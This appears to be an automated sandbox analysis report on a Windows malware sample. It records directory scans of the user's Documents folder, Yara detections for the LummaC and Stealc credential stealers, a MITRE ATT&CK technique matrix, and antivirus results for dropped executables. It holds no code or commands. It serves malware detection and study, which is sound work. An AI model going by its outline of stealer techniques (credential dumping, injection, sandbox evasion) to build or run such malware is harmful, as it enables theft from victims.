Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX

Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Directory queried: number of queries: 1535

Source: Yara match	File source: 00000008.00000003.2459931933.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2672868739.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2618057573.00000000010FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2604206292.00000000010FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2634291184.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1760913746.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2518756456.0000000000B82000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2517380337.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2604824615.00000000010FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1716326309.00000000008B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2693167425.0000000001109000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2492196497.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6996, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bd73c9fe1b.exe PID: 1056, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bd73c9fe1b.exe PID: 3992, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: Process Memory Space: f27afcd405.exe PID: 1352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f27afcd405.exe PID: 5180, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6996, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bd73c9fe1b.exe PID: 1056, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bd73c9fe1b.exe PID: 3992, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 30.2.num.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.num.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.num.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.b28f5af0b9.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.b28f5af0b9.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.num.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000000.2811806473.000000000022E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2770625069.00000000002C1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.2811751180.0000000000211000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2682454468.000000000022E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2678993762.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2581347390.000000000101E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2772881272.000000000126B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2539631182.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.2662848375.000000000022E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2681835070.0000000000211000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2580073228.00000000002C1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2830777733.000000000022E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2830712627.0000000000211000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2832464579.0000000000B67000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.2662760119.0000000000211000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: b28f5af0b9.exe PID: 2148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b28f5af0b9.exe PID: 7132, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 5688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 1516, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	22 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	11 Registry Run Keys / Startup Folder	1 Windows Service	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	51%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002787001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1002787001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	34%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	34%	ReversingLabs	Win32.Infostealer.Tinba

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
star-mini.c10r.facebook.com	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
twitter.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	0%	URL Reputation	safe
